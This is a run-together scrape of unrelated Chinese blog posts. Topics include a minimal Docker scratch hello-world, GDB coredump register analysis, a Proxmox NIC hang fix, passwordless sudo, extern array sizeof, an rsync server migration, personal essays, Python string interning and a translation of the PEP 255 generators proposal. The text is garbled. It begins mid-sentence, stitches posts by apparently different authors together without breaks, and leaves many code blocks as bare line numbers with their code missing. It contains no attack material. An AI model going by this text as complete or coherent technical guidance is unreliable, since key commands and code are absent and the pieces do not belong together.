).As of Docker 1.5.0 (specifically,
docker/docker#8827
),FROM scratch
is a no-op in theDockerfile
, and will not create an extra layer in your image (so a previously 2-layer image will be a 1-layer image instead).……
You can use Docker’s reserved, minimal image,
scratch
, as a starting point for building containers. Using thescratch
“image” signals to the build process that you want the next command in theDockerfile
to be the first filesystem layer in your image.
后面两行的含义也很直接,把一个名为hello的程序copy到根目录下,在运行image的时候运行此程序。下面就来看下这个如此小的hello world程序是如何实现的。
hello.c文件的源码也在同一个Github仓库中,省略掉过长的字符串常量后很简单:
1 |
|
这个最简版本的Hello World和C语言教科书中第一个Hello World是有不小差别的。首先是程序入口点上,众所周知正常C/C++程序的入口点是main()
,然而这里使用的是_start()
。
我们的程序是运行在Linux系统上的,程序的加载与运行必然是由OS发起的,对于Linux来说,OS层面的程序入口点就是_start()
而不是main()
函数,一个程序要能正常运行在main()
之前是有一些准备工作要做的,比如建立程序运行环境(初始化.bss全局变量等);在main()
返回之后也有些收尾工作要处理,比如调用exit()
通知系统等。这些工作正常情况下是由语言标准库来完成的,也就是所谓的Runtime运行环境,对于C语言来说就是crt0.o
。大部分程序的_start()
就位于其中,在建立好运行环境后_start()
会调用main()
跳转到用户定义的入口点处。当main()
返回后程序又将回到ctr0.o
中,最终调用exit()
通知OS回收进程资源。
这里为了缩小程序体积和简单起见,没有使用标准的ctr0.o
Runtime,事实上这一个简单的程序也不需要什么Runtime。程序最后直接通过syscall
函数调用了SYS_exit
系统调用结束了自身的运行。
将字符串输出到屏幕上也没有使用标准库中的printf()
,同样是直接调用了SYS_write
这个系统调用,其第一个参数显式的写为了1,其实就是STDOUT_FILENO
,Linux系统在unistd.h
中定义了stdin
, stdout
, stderr
这几个标准文件描述符。
可以看到,这样一个程序是可以不依赖于任何其他的库在Linux上独立运行的,为了实现不链接C标准库的目的,需要使用一些特殊的编译选项。从编译这个hello-world
程序使用的Makefile中可以找到使用的编译选项为:
1 | CFLAGS := -static -Os -nostartfiles -fno-asynchronous-unwind-tables |
-static
表示静态链接,虽然对这个程序来说无所谓动态链接还是静态链接……-Os
表示为空间进行-O2
级别的优化,专门用于减少目标文件大小;-nostartfiles
是关键编译选项,此选项表示不使用标准C语言运行库(即crt0.o
),也不链接C标准库;-fno-asynchronous-unwind-tables
选项也是用于减少代码空间的,其大概含义是不产生C++异常处理机制中使用的.eh_frame
段,关于什么是unwind-tables
和.eh_frame
是个比这篇文章复杂多了的问题,文末有几篇参考资料,之后有空可以深入学习下C++的底层机制……进行了以上诸多特殊优化处理后,终于可以得到一个只有1k多的可以正常运行于Linux上的Hello World程序了。
参考资料:
What is the use of _start() in C?
When is the gcc flag -nostartfiles used?
在 GCC -O3
优化级别下,很多局部变量是会被优化掉的,此时只能通过人工分析反汇编代码来获取所需信息,而这么做的前提是保存下来的寄存器中的值是准确的。绝大部分情况下 coredump 是由于 segment fault 或 assert 触发的,segment fault 情况下 Kernel 保存下来的 registers 信息是准确的,GDB 中直接用 info registers
就可以看到。然而若是由 assert 触发,由于 assert 会进行多层函数调用后最终执行 raise()
,错误现场的寄存器信息是不准确的,这时候就需要一些其他手段来解决此问题。下面用一个具体例子来说明此问题。
测试程序代码:
1 | volatile int final = 0; |
运行此程序肯定会发生 assert failed,我们用 gdb 来看下调用栈:
1 | Program terminated with signal SIGABRT, Aborted. |
切换到 fun()
的栈帧:
1 | gef> f 4 |
可以看到 a
与 b
都被优化掉了,到底是哪个值触发了 assert 就不能直接确定了。当然并不是就彻底没办法知道了,来看下 fun()
函数的反汇编:
1 | gef> disassemble |
在 -O3
优化下 fun()
直接被内联到 main()
里面了,不过这不影响基本分析,重点关注 <+16>
~ <+32>
这几行,这就对应 fun()
的前几行逻辑,if (b > 0)
是通过 test
+ jg
来实现的,b
的值此时就是 %esi
寄存器中的值。看下 gdb 分析出来的当前栈帧的寄存器值:
1 | gef> info registers |
是不是其中 %rsi
的值就是我们需要的 b
了呢?非也!注意到 <+68>
行,在调用 __assert_fail()
前 %esi
又被重新赋值用于传递参数了,且由于 %esi
属于 caller save 的寄存器,在 __assert_fail()
内有可能会被再次改写。因此 使用 GDB 分析 coredump 文件不同栈帧的 register 信息时,只有为数不多的几个 callee save 寄存器的值是可靠的,其他的都是不可靠的。 那如何才能得到可靠的寄存器值呢?一般来说只有靠我们自己保存了,一个简单思路是只要在调用 __assert_fail()
前把所有寄存器的值保存到一个全局数组中就可以了。
在 assert()
前添加如下一段内联汇编代码即可实现此目的:
1 | __asm__ __volatile__("movq $0, %%r15;\n\t" |
再来看下此时的反汇编代码:
1 | gef> disassemble |
<+59>
~ <+180>
行就是我们新加的逻辑,可以看到这段代码紧接在 <+32>
行之后,理论上分析的确是可以保存准确的寄存器信息。来看下实际效果:
1 | p registers_data |
registers_data[4]
与 final
的值完全相同,而从源代码和反汇编 <+26>
行可以看到,final
中保存的就是 b
的真实值。
在旧笔记本上使用Proxmox搭建了一个OpenWRT软路由,正常使用都很稳定,然而当PC使用百度网盘,迅雷等工具进行全速率下载时偶尔会出现网络中断问题,此时Proxmox宿主机的网络会全部断掉,即PVE自己的Web管理界面也无法登录。查看终端,此时会不断打印Detected Hardware Unit Hang
的错误提示。
Google一下这个错误提示,还是有不少类似问题的:
Proxmox: enp0s31f6: Detected Hardware Unit Hang
解决FreeNAS under KVM使用Virtio网卡导致宿主机网卡Hang的问题
e1000e Reset adapter unexpectedly / Detected Hardware Unit Hang
基本所有文章都提到此问题与TCP checksum offload
特性有关,解决方案就是关掉checksum offload
。具体方法是使用ethtool
工具:
1 | ethtool -K enp0s25 tx off rx off |
如果要重启后永久生效的话将此命令写入/etc/network/if-up.d/ethtool2
文件中并为此文件加上x
权限即可:
1 |
|
除此之外上述第2篇文章的情况和我遇到的很像,里面提到这与Virtio
虚拟化有很大关系,而我使用的也正是Vritio
,根据作者的说法,更应该在OpenWRT而不是Proxmox中关闭checksum offload
。然而实际试了下却发现一个蛋疼的问题,OpenWRT中是无法把tx checksum offload
给关掉的……
此外作者还提到,将网卡的虚拟化方式从Virtio
改为E1000
也可以解决此问题,不过会有CPU占用率上升的副作用。
综合以上几种方法,我最后采用的解决办法是:禁用Proxmox宿主机上的TCP checksum offload
,并将OpenWRT使用的网卡虚拟化方式改为E1000
。实际测试下来没有再发生网卡hang的问题,满速率下载(250Mbps左右)时CPU占用率50%左右,比之前使用Virtio
时CPU占用率要高10%左右,还是可以接受的。
问题算是解决了,最后顺带去进一步学习了下相关的知识,首先是TCP checksum offload
,此技术的作用是将计算TCP checksum的工作由CPU软件实现改为由NIC设备(即网卡等)硬件实现,以此达到节约CPU资源的目的。
另外就是Virtio
与E1000
,这是两种不同的网络虚拟化技术,Virtio
是半虚拟化而E1000
是全虚拟化。对于全虚拟化方案来说,虚拟机是完全感知不到自己是运行在一个虚拟环境中的;而半虚拟化则是虚拟机知道自己就是运行在一个虚拟环境中,此时IO驱动就可以做一些针对性的修改优化,以此降低虚拟化层进行转换带来的开销及性能损失。显而易见,半虚拟化技术的隔离度是没有全虚拟化好的,而且要是虚拟机驱动有问题会导致宿主机也出问题。这就是为什么在使用Virtio
时,OpenWRT网络出现问题会导致整个Proxmox的网络都不能用了的原因。除了这两种虚拟化方式外,还有些更为先进的虚拟化技术,如SR-IVO
等,有兴趣的话可以看看下面这篇文章的总结:
转眼间毕业已经要一年了,今天在整理电脑文件的时候翻出了当初写的硕士毕业论文,在知网上搜搜也找得到了。想想硕士期间做过的东西也太杂了,电机控制、Android 开发、嵌入式。。。最后确定了这个毕业论文的题目后只有1年不到的时间可以做了,这期间还要复习准备找工作,不过最后做出来的东西还算是自己基本满意的,这估计也是我在学术上的顶峰了……
为纪念下我离Academy最近的时刻,这里把我这篇论文的摘要及pdf版本的全文贴一下吧。
全文下载链接:用于嵌入式车载安全预警的交通标志检测若干关键技术研究与验证
论文摘要:
车载安全预警系统可及时为驾驶员提供必要的行车安全预警信息以提高驾驶安全性,其包含若干子系统,如交通标志识别、超速预警等,而交通标志检测则是支撑诸多子系统的重要基础技术之一;本文就针对交通标志检测中基于颜色分割的定位算法及多线程任务调度策略这两项关键技术进行了研究,提出了适用于性能有限嵌入式系统的混合颜色分割策略及混合切换任务调度策略,并通过搭建嵌入式原型样机在实际道路环境中验证了方法的有效性。此外为更好的验证及评估交通标志检测算法的效果,本文建立了中国道路交通标志视频数据集,并将此数据集公开发布以供其他研究人员使用,这也是此领域目前唯一的中国公开数据集。目前主流成熟的交通标志检测定位方法基本均是基于颜色及几何形状局部特征的,本文在此框架下对用于车载安全预警的交通标志检测中最为重要的红色及黄色分割方法展开了深入研究,针对已有主流颜色分割方法的不足提出了混合颜色分割策略,此策略通过若干线性分类器的组合实现了对红色及黄色准确高效的分割,分割效果优于目前常用的各方法且其算法执行速度与最简单的RGB阈值法相似,可保证安全预警算法在性能有限的小型嵌入式车载设备上依然有较好的实时性;在颜色分割基础上本文采用经典的Hough变换实现了对红色圆形交通标志的检测定位并在数据集上评估了算法的效果。本文通过对交通标志检测识别问题进行建模分析提出可用采样间隔时间作为定量衡量此类系统实时性的指标,进而针对目前广泛使用的多核CPU提出了理论最优的理想多线程任务调度算法,此算法可显著降低采样间隔时间以提高系统实时性;不过理想任务调度算法实际无法实现,因此本文进一步提出了实际可实现的混合切换任务调度策略及动态更新参数估计策略;通过控制系统模型数值仿真及实际嵌入式原型样机上的测试验证均表明本文提出的方法可有效优化采样间隔时间分布以此提高系统实时性。本文同时开发了基于Qt的算法验证平台软件及基于Intel Joule模块的嵌入式原型样机,并在其上验证了上述各方法的有效性,最后在校园环境及城市道路上分别进行了静态及动态系统集成测试;测试结果表明本文提出的方法可在小型嵌入式设备上满足系统实时性要求,在天气光照条件较好时检出率也相对较高,不过算法鲁棒性依然需要加强。
正常情况下,使用sudo
命令是需要输入密码的,连续输入多条sudo
只用输一次密码就行,不过若干分钟后又需要输入密码了。对于自己使用的本地桌面环境来说,其实是可以配置成sudo
免输入密码的,这样可以减少一些麻烦。
以Ubuntu 18.04
为例说明设置方法,其他发行版可能会有区别。Ubuntu Desktop
默认已经将安装系统时配置的用户加入了admin
用户组,且admin
用户组中的用户都是有sudo
权限的,因此无需修改sudo
用户组。若需要将某用户添加到sudo
用户组中,可参考文末链接。
输入su -
命令切换到root
下,修改/etc/sudoers
文件,找到:
1 | # Allow members of group sudo to execute any command |
修改为:
1 | # Allow members of group sudo to execute any command |
即可。
这样就可以允许sudo
用户组中的用户免密码执行sudo
命令了。
参考资料:
sizeof是获取数组元素个数的常用运算符,然而前几天使用时发现,对于extern类型的数组,sizeof的使用上是有些需要考虑的问题的。
假设系统中有3个文件:
file1.c
:
1 | int array[] = {1, 2, 3}; |
header1.h
:
1 | extern int array[]; |
main.c
:
1 |
|
在main.c
中期望通过sizeof
运算符获取array
中元素个数,然而这么做是错误的,编译时无法通过,错误提示类似incomplete type not allowed
这类。
造成这一问题的原因在于,**sizeof
是在编译时计算的,而C/C++的编译是以文件为基本单位的**。在编译main.c
文件时,编译器是不可能知道定义在file1.c
文件中array
数组具体信息的,只根据header1.h
文件中的声明是无法确定array
的具体大小的,因此,就算某些编译器编译时不报错,得到的结果也是不正确的。
分析清楚原因后来看下解决方案,基本解决方法有4种:
array
数组的同一个文件中;'\0'
一样,这样就可以在运行阶段动态确定数组大小;这几种方法都有其缺点:
sizeof
就是不想固定数组长度,因为使用宏定义固定数组长度不够灵活,要是想添加数组元素也要同时修改宏定义,否则尽管编译不会报错,然而运行时新添加的元素其实是无效的,这会导致将来维护时一些潜在Bug发生的可能性增加;static
全局变量的原因就是多个源文件需要使用这个变量,这时显然无法做到这一点,多次重复定义链接时会出错的。实际使用中,需要根据具体问题具体分析采用哪种方法最恰当,一般而言不经常变化的数组就使用宏定义确定其大小,会经常变化的第2种方法最常用,此时还可以用一些宏定义简化编程,以上代码可修改为:
file1.c
:
1 |
|
header1.h
:
1 |
|
main.c
:
1 |
|
参考资料:
comp.lang.c FAQ list · Question 1.24
C: How to determine sizeof(array) / sizeof(struct) for external array?
好久没写博客了,翻看自己的博客,上次更新已是半年多前了,这大半年来忙于找工作,毕业设计,毕业答辩、入职……入职前两个月也是各种忙碌,现在对手头的工作也熟悉一些了,于是乎在低头做事的空暇时也需要抬起头来看看路了。
自从找工作拿到几个Offer可以选择时就开始各种纠结与困惑了,大疆、阿里、Intel、华为、拼多多、乐鑫、网易……有幸能拿到这么些优秀公司的Offer,然而每一家公司都同时有吸引我和令我踌躇的地方,鱼和熊掌终不可兼得,选择也变得十分困难。虽然最终选择了大疆,然而这一选择并不是那么顺理成章,当时在犹豫,本以为选了之后就不会困惑了,现在才发觉,困惑的东西并不会随着时间推移而自然而然的变得清晰起来。
人生有很多选择,选择和努力哪个更重要呢?这个问题的标准答案在准备面试时都背得滚瓜烂熟了,选择与努力互为因果,选择是为了决定之后努力的方向,努力是为了将来能有更多选择。然而,记住了所谓的标准答案并无济于事,该困惑的时候还是一样困惑。
其实想想,所有困惑的根源都来自于两点:不知道自己真正想要的是什么;不知道未来会是怎样。
与其说是不知道自己想要什么,不如说是不知道自己愿意放弃什么,选择之所以困难,是因为选择与放弃总是如影相随的,选择了此就注定要放弃彼。人总是什么都想要的,但事实是我们注定要放弃大多数东西的,人生在不断的做出选择,同时也是在不断放弃。然而,我究竟愿意放弃什么呢?愿意选择什么呢?这并不是那么确定的啊……什么都不想放弃,也就注定什么都无法得到。
上面那点也许还能随着年岁与阅历的增长思考得越来越清楚,那对未来不可知的迷茫更是让人觉得无能为力。生命的精彩源于不可知,生命的痛苦也源于不可知。时代的洪流滚滚前进,顺之者昌逆之者亡,然而时代的车轮碾向何方又有谁知?
可供选的路总是越来越少的,我们都终有一日会无路可选,到那时,认命也罢,不认也罢,是非成败转头空,唯余夕阳照青山。在我们还有得可选的时候,还是多想想吧,就算是一条咸鱼也还是要挣扎下看看的。虽然路最终总是越走越窄的,还是要努力下让它窄得不要那么快吧,毕竟啊,谁又能说自己走的一定是那条自己想要同时又不会被时代湮没的道路呢?
瞎扯了这么多似乎还是多想清楚了那么一丝东西吧,脚踏实地亦要仰望星空,不要让天天加班和生活琐事的忙碌成为一种错觉蒙蔽了双眼。自己的未来何在,尽管想不清还是要去找的吧,在坚信自己找到之前,努力让未来的路宽广一些,努力让自己不要失去有选择的能力,虽然选择是困难和纠结的,然而没选择的走投无路是更大的悲哀。
然而,要维持像学校里那样站在四通八达的十字路口近乎是不可能完成的事,两条路经常是越来越远的,刚开始时尚有可能跳过去,越到后面越难跳过去了吧。所以啊,还是要尽快想清楚自己想去哪条路上才行啊,然而,谁知道哪时候能想清楚呢……不过在想清楚自己要跳去哪条路上之前,还是要多练练自己跳跃的能力,培养些通用的技能,让自己还是有路可跳有路可选吧。
去年把小站服务器系统换成了ArchLinux,一直正常运行着,我时不时ssh上去 sudo pacman -Syu
一下,后来准备更换小站服务器的服务商,但因系统配置太过麻烦遂搁浅。前几天给手机刷机操作失误,清空了我所有的数据,不过幸好我还有备份的习惯
<noscript><img alt="qqq" height="253" src="https://view.spiritx.xyz/images/2021/03/25/qqq.png" width="256" /></a><br /></noscript>在恢复数据时看到我的移动备份硬盘,想着能不能用 rsync
直接把所有数据迁移到新的机器,尝试了一下,还真能实现,步骤也很简单:
两台机器都登录上,装上 rsync
,新机器的操作系统不限
mkdir /mnt/new_server/
mount /dev/vda2 /mnt/new_server/
mount /dev/vda1 /mnt/new_server/boot/
/dev/vda
可能在不同主机商那不同,自行 df -h
查看
rsync -aHAXSz --delete --numeric-ids -e "ssh" --rsync-path="rsync" --exclude={"/dev/*","/proc/*","/sys/*","/tmp/*","/run/*","/mnt/*","/lost+found","/etc/fstab","/etc/udev/rules.d/*","/etc/network/*","/etc/modprobe.d/*"} / root@新机器i:/mnt/new_server/
使用 -aHAXS
基本包含了所有的文件信息,-z
会在传输数据时压缩,--numeric-ids
不将用户和组id匹配名称
不同系统排除的目录不一样,在--exclude
后面自行修改排除目录,也可以尝试 --one-file-system
选项(我没有试过
mount --bind /proc /mnt/new_server/proc
mount --bind /sys /mnt/new_server/sys
mount --bind /dev /mnt/new_server/dev
mount --bind /run /mnt/new_server/run
chroot /mnt/new_server
grub-install --target=i386-pc --recheck --force /dev/vda
grub-mkconfig -o /boot/grub/grub.cfg
vim /etc/systemd/network/default.network # 修改为新主机的ip
systemctl restart systemd-networkd
之后重启即可
在我们浙北老家,做寿这个事,从出生是过三朝、满周岁,到成年是庆十六,接着是上有老下有小的三十六,再到含饴弄孙的六十九、七十九;垂暮之年的八十九、再到百岁老人九十九。差不多在这些年纪的时候会宴请四方亲朋。当然也有满月、五十九也有人做,满月不及三朝,现代人五十九有太似年轻,所以相对比较少。在乡下按照我的年纪应该做虚岁的,也就是2020年应该办一个三十六岁的生日宴,众所周知的疫情打乱了这一切,本命年虚岁已经三十七了,所以也就略过了这一切。
今年还是个特殊的年份,我和爱人结婚七周年。正月十一,是我和爱人的结婚纪念日。为啥是个单日子?这得问我们那边的瞎子算命先生。他说那年这天刚好是紫微星下凡,是个超出黄道吉日的极好的日子。就这样我俩步入了婚姻殿堂。一晃七年过去了,“黑心”小棉袄都上中班了。话说七年铜婚之痒,爱情保鲜度已逾期,亲情成金色不足。
早几天前,媳妇和女儿就在谋划着在这个特殊的年份给我过个生日,小棉袄一直惦记着生日蛋糕,所以买了个大蛋糕,想了想吃不完就浪费了,所以约定蛋糕带公司与同事们分享。附近新开了一个商场,有家巴黎贝甜,昨天她俩跑去定好,约定今天早上去拿,早上上班途中取了蛋糕就匆忙去了公司。蛋糕中送了一包蜡烛,一数十二根,好巧不巧,没拿稳掉了一根,变成十一根,这辈子是跟十一单数有缘,也就不分什么几根蜡烛几个寓意了,一股脑全点上,一口气全吹灭,在同事一群陈腔滥调的生日歌中许了一个愿。
晚上不能亏待小家伙,再去买了块小蛋糕,由她独享,只是苦了老婆大人没吃上一口,在小家伙回家看到我的时候,兴冲冲的跟我说,爸爸今天生日,我给你画了一幅画。我在煮长寿面的间隙,她小心翼翼的把她藏起来的画拿出来给我看。当拿出来的那一刻,我发现这个让她憋了两天的秘密终于忍不住可以说出来的时候,那种喜悦,上了她的眉梢入了我的心田。
回头想想一不听话的时候就揍她,好像我做一个女儿奴甚是不够格,这两年打她还是家鸡团团转,兴许再过两年,打她该记仇了。
3月中旬单位接到园区通知,摸底调查愿意打新冠疫苗的人数,当然有很多人怕死,有很多谣言,什么晕倒、面瘫等等不良反应。问到我啥意见的时候,二话不说,你们不打我要打,就算全公司都不打,我一个人也要打。然后顺带把我们部门几个小伙伴一起拉上了,反正早一天晚一天都要挨一针的,又不收钱,干嘛不打。要达到免疫屏障起码需要77%的接种率,所以除了老弱病残不适合接种的,国家层面的动作肯定是每人都要挨一针的。何况现在打得都是最安全的灭活疫苗,后面随着腺病毒载体疫苗和mRNA疫苗等新式疫苗上市,指不准打得是啥呢。
1、下载健康云APP,在新冠疫苗专区里面预约,填写单位编码,然后录入身份信息,就完成了。下面的几个图是大概的操作流程。
2、打印疫苗接种知情同意书,携带同意书和身份证去指定接种点接种。知情同意书在文末的附件中。
1、现场留观30分钟
2、接种后多喝水
3、近期饮食清淡
4、接种部位当天不碰水
5、3天内不饮酒
和小伙伴约好,一辆车开到松江大学城体育馆,停好车,毛毛雨下的让人心焦,这特么一个月都不开天了。从指定入口进入,带着知情同意书和身份证在信息登记处登记,拿一个留观的小纸条。
进入接种区,好家伙,100多个接种窗口,根本没排队的机会,打开接种条码扫码,然后脱掉一个袖子,裸开上臂。三下五除二一针也就完事了,医生也不多说话,接种完她再疫苗盒子上写上姓名、手机号和接种时间,顺道把前面领的留观小条子写上时间。然后我看就看到我打的疫苗是国药武汉生物制品研究所开发的灭活疫苗。
打完疫苗,顺着通道走到留观区等待30分钟,留观区有医疗救护室,松江这个点是在体育馆,所以留观区也就在体育馆的观众席上,体育馆中间是一帮孩子在打冰球,硬生生看了半小时狗屁不懂的冰球。这不就是我们小时候在冰上玩石子差不多嘛。附近大学生也在集体打疫苗,都是俊男靓女,突然发现我这个糟老头在人群中很是突兀。
时间到,拿着留观的小条子出门,时间不到,保安不放行。冒着小雨,点根烟回家。
>>> "Python猫" + 666
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: can only concatenate str (not "int") to str
>>> "Python猫" + str(666)
'Python猫666'
几种字符串拼接方式:
1、格式化类:%、format()、template
2、拼接类:+、()、join()
3、插值类:f-string
>>> "%s %d" % ("Python猫", 666)
'Python猫 666'
>>> from string import Template
>>> s = Template('${s1}${s2}')
>>> s.safe_substitute(s1='Python猫',s2=666)
'Python猫666'
>>> "Python猫{}".format(666)
'Python猫666'
>>> num = 666
>>> f"Python猫{num}"
'Python猫666'
f'<text> { <expression> <optional !s, !r, or !a> <optional : format specifier> } <text> ...'
type(value).__format__(value, format_spec)
或者 format(value, format_spec)
。format_spec
是一个空字符串,而format(value, "")
的效果等同于str(value)
,因此,在不指定其它 format_spec 的情况下,可以简单地认为 f-string 就是调用了 str() 来作的类型转化……缓存
一般性的字符串,从而节省字符串处理任务的空间和时间。intern
,并因此而得名 String Interning。Python猫注:String Interning 一般被译为“字符串驻留”或“字符串留用”,在某些语言中可能习惯用 String Pool(字符串常量池)的概念,其实是对同一种机制的不同表述。intern 作为名词时,是“实习生、实习医生”的意思,在此可以理解成“驻留物、驻留值”。
享元设计模式
共享和重用已经定义的对象,从而优化内存占用。is
运算符,检查两个对象是否引用了同一个内存对象。is
运算符将得出True
,否则为False
。>>> 'python' is 'python'
True
PyAPI_FUNC(void) PyUnicode_InternInPlace(PyObject **);
PyUnicode_CHECK_INTERNED
的宏,同样是定义在 unicodeobject.h 中。PyASCIIObject
结构中维护着一个名为interned
的成员变量,它的值表示相应的字符串是否被驻留。#define PyUnicode_CHECK_INTERNED(op) \
(((PyASCIIObject *)(op))->state.interned)
interned
的 Python 字典所存储、访问和管理。 该字典在第一次调用字符串驻留时,被延迟地初始化,并持有全部已驻留字符串对象的引用。PyUnicode_InternInPlace
,它定义在 unicodeobject.c 中,当调用时,它会创建一个准备容纳所有驻留的字符串的字典interned
,然后登记入参中的对象,令其键和值都使用相同的对象引用。void
PyUnicode_InternInPlace(PyObject **p)
{
PyObject *s = *p;
.........
// Lazily build the dictionary to hold interned Strings
if (interned == NULL) {
interned = PyDict_New();
if (interned == NULL) {
PyErr_Clear();
return;
}
}
PyObject *t;
// Make an entry to the interned dictionary for the
// given object
t = PyDict_SetDefault(interned, s, s);
.........
// The two references in interned dict (key and value) are
// not counted by refcnt.
// unicode_dealloc() and _PyUnicode_ClearInterned() take
// care of this.
Py_SET_REFCNT(s, Py_REFCNT(s) - 2);
// Set the state of the string to be INTERNED
_PyUnicode_STATE(s).interned = SSTATE_INTERNED_MORTAL;
}
interned
字典中遍历所有的字符串,调整这些对象的引用计数,并把它们标记为NOT_INTERNED
,使其被垃圾回收。一旦所有的字符串都被标记为NOT_INTERNED
,则interned
字典会被清空并删除。_PyUnicode_ClearInterned
,在 unicodeobject.c 中定义。void
_PyUnicode_ClearInterned(PyThreadState *tstate)
{
.........
// Get all the keys to the interned dictionary
PyObject *keys = PyDict_Keys(interned);
.........
// Interned Unicode strings are not forcibly deallocated;
// rather, we give them their stolen references back
// and then clear and DECREF the interned dict.
for (Py_ssize_t i = 0; i < n; i++) {
PyObject *s = PyList_GET_ITEM(keys, i);
.........
switch (PyUnicode_CHECK_INTERNED(s)) {
case SSTATE_INTERNED_IMMORTAL:
Py_SET_REFCNT(s, Py_REFCNT(s) + 1);
break;
case SSTATE_INTERNED_MORTAL:
// Restore the two references (key and value) ignored
// by PyUnicode_InternInPlace().
Py_SET_REFCNT(s, Py_REFCNT(s) + 2);
break;
case SSTATE_NOT_INTERNED:
/* fall through */
default:
Py_UNREACHABLE();
}
// marking the string to be NOT_INTERNED
_PyUnicode_STATE(s).interned = SSTATE_NOT_INTERNED;
}
// decreasing the reference to the initialized and
// access keys object.
Py_DECREF(keys);
// clearing the dictionary
PyDict_Clear(interned);
// clearing the object interned
Py_CLEAR(interned);
}
PyUnicode_InternInPlace
函数的调用,并查看其附近的代码。下面是在 Python 中关于字符串驻留的一些有趣的发现。PyCode
对象时,解释器将对所有编译期的常量、名称和字面量进行驻留。PyCodeObject *
PyCode_NewWithPosOnlyArgs(int argcount, int posonlyargcount, int kwonlyargcount,
int nlocals, int stacksize, int flags,
PyObject *code, PyObject *consts, PyObject *names,
PyObject *varnames, PyObject *freevars, PyObject *cellvars,
PyObject *filename, PyObject *name, int firstlineno,
PyObject *linetable)
{
........
if (intern_strings(names) < 0) {
return NULL;
}
if (intern_strings(varnames) < 0) {
return NULL;
}
if (intern_strings(freevars) < 0) {
return NULL;
}
if (intern_strings(cellvars) < 0) {
return NULL;
}
if (intern_string_constants(consts, NULL) < 0) {
return NULL;
}
........
}
PyUnicode_InternInPlace
函数被调用处有一条注释,它问道,我们是否真的需要对所有字典中的全部键进行驻留?int
PyDict_SetItemString(PyObject *v, const char *key, PyObject *item)
{
PyObject *kv;
int err;
kv = PyUnicode_FromString(key);
if (kv == NULL)
return -1;
// Invoking String Interning on the key
PyUnicode_InternInPlace(&kv); /* XXX Should we really? */
err = PyDict_SetItem(v, kv, item);
Py_DECREF(kv);
return err;
}
setattr
函数显式地设置,也可以作为类成员的一部分而隐式地设置,或者在其数据类型中预定义。PyObject_SetAttr
的代码片段,该函数定义在文件object.c中,负责为 Python 对象设置新属性。int
PyObject_SetAttr(PyObject *v, PyObject *name, PyObject *value)
{
........
PyUnicode_InternInPlace(&name);
........
}
sys
模块中的intern
函数进行显式地字符串驻留。sys_intern_impl
函数中的字符串驻留过程。static PyObject *
sys_intern_impl(PyObject *module, PyObject *s)
{
........
if (PyUnicode_CheckExact(s)) {
Py_INCREF(s);
PyUnicode_InternInPlace(&s);
return s;
}
........
}
Python猫注:这一条规则值得展开思考,我曾经在上面踩过坑……有两个知识点,我相信 99% 的人都不知道:字符串的 join() 方法是动态创建字符串,因此其创建的字符串不会被驻留;常量折叠机制也发生在编译期,因此有时候容易把它跟字符串驻留搞混淆。推荐阅读《join()方法的神奇用处与Intern机制的软肋》
[a-zA-Z0-9_]*
的常量进行驻留,因为它们非常贴近于 Python 的标识符。Python猫注:关于 Python 中标识符的命名规则,在 Python2 版本只有“字母、数字和下划线”,但在 Python 3.x 版本中,已经支持 Unicode 编码。这部分内容推荐阅读《醒醒!Python已经支持中文变量名啦!》
tokenize.py
采用这种方法:调用者必须传一个 tokeneater 函数给 tokenize() ,当 tokenize() 找到下一个 token 时再调用。这使得 tokenize 能以自然的方式编码,但程序调用 tokenize 会变得极其复杂,因为它需要记住每次回调前最后出现的是哪个 token(s)。tabnanny.py
中的 tokeneater 函数是处理得比较好的例子,它在全局变量中维护了一个状态机,用于记录已出现的 token 和预期会出现的 token 。这很难正确地工作,而且也挺难让人理解。不幸的是,它已经是最标准的解决方法了。def fib():
a, b = 0, 1
while 1:
yield b
a, b = b, a+b
yield_stmt:“yield”expression_list
future
声明【注释8】来进行引入:在早期版本中,若想使用生成器的模块,必须在接近头部处包含以下行(详见 PEP 236):from __future__ import generators
>>> def g():
... i = me.next()
... yield i
>>> me = g()
>>> me.next()
Traceback (most recent call last):
...
File "<string>", line 2, in g
ValueError: generator already executing
return
>>> def f1():
... try:
... return
... except:
... yield 1
>>> print list(f1())
[]
>>> def f2():
... try:
... raise StopIteration
... except:
... yield 42
>>> print list(f2())
[42]
>>> def f():
... return 1/0
>>> def g():
... yield f() # the zero division exception propagates
... yield 42 # and we'll never get here
>>> k = g()
>>> k.next()
Traceback (most recent call last):
File "<stdin>", line 1, in ?
File "<stdin>", line 2, in g
File "<stdin>", line 2, in f
ZeroDivisionError: integer division or modulo by zero
>>> k.next() # and the generator cannot be resumed
Traceback (most recent call last):
File "<stdin>", line 1, in ?
StopIteration
>>>
>>> def f():
... try:
... yield 1
... try:
... yield 2
... 1/0
... yield 3 # never get here
... except ZeroDivisionError:
... yield 4
... yield 5
... raise
... except:
... yield 6
... yield 7 # the "raise" above stops this
... except:
... yield 8
... yield 9
... try:
... x = 12
... finally:
... yield 10
... yield 11
>>> print list(f())
[1, 2, 4, 5, 8, 9, 10, 11]
>>>
# 二叉树类
class Tree:
def __init__(self, label, left=None, right=None):
self.label = label
self.left = left
self.right = right
def __repr__(self, level=0, indent=" "):
s = level*indent + `self.label`
if self.left:
s = s + "\n" + self.left.__repr__(level+1, indent)
if self.right:
s = s + "\n" + self.right.__repr__(level+1, indent)
return s
def __iter__(self):
return inorder(self)
# 从列表中创建 Tree
def tree(list):
n = len(list)
if n == 0:
return []
i = n / 2
return Tree(list[i], tree(list[:i]), tree(list[i+1:]))
# 递归生成器,按顺序生成树标签
def inorder(t):
if t:
for x in inorder(t.left):
yield x
yield t.label
for x in inorder(t.right):
yield x
# 展示:创建一棵树
t = tree("ABCDEFGHIJKLMNOPQRSTUVWXYZ")
# 按顺序打印树的节点
for x in t:
print x,
print
# 非递归生成器
def inorder(node):
stack = []
while node:
while node.left:
stack.append(node)
node = node.left
yield node.label
while not node.right:
try:
node = stack.pop()
except IndexError:
return
yield node.label
node = node.right
# 练习非递归生成器
for x in t:
print x,
print
Both output blocks display:
A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
return 3 and continue
return and continue 3
return generating 3
continue return 3
return >> , 3
from generator return 3
return >> 3
return << 3
>> 3
<< 3
* 3
return
并不总是等同于 try-except 结构中的 raise StopIteration
(参见“设计规格:Return”部分)。return expr
意味着“我已经完成”和“但我还有最后一个有用的值可以返回,这就是它”。 在初始阶段,不强制使用return expr
的情况下,使用 yield 仅仅传递值,这很简单明了。常量折叠
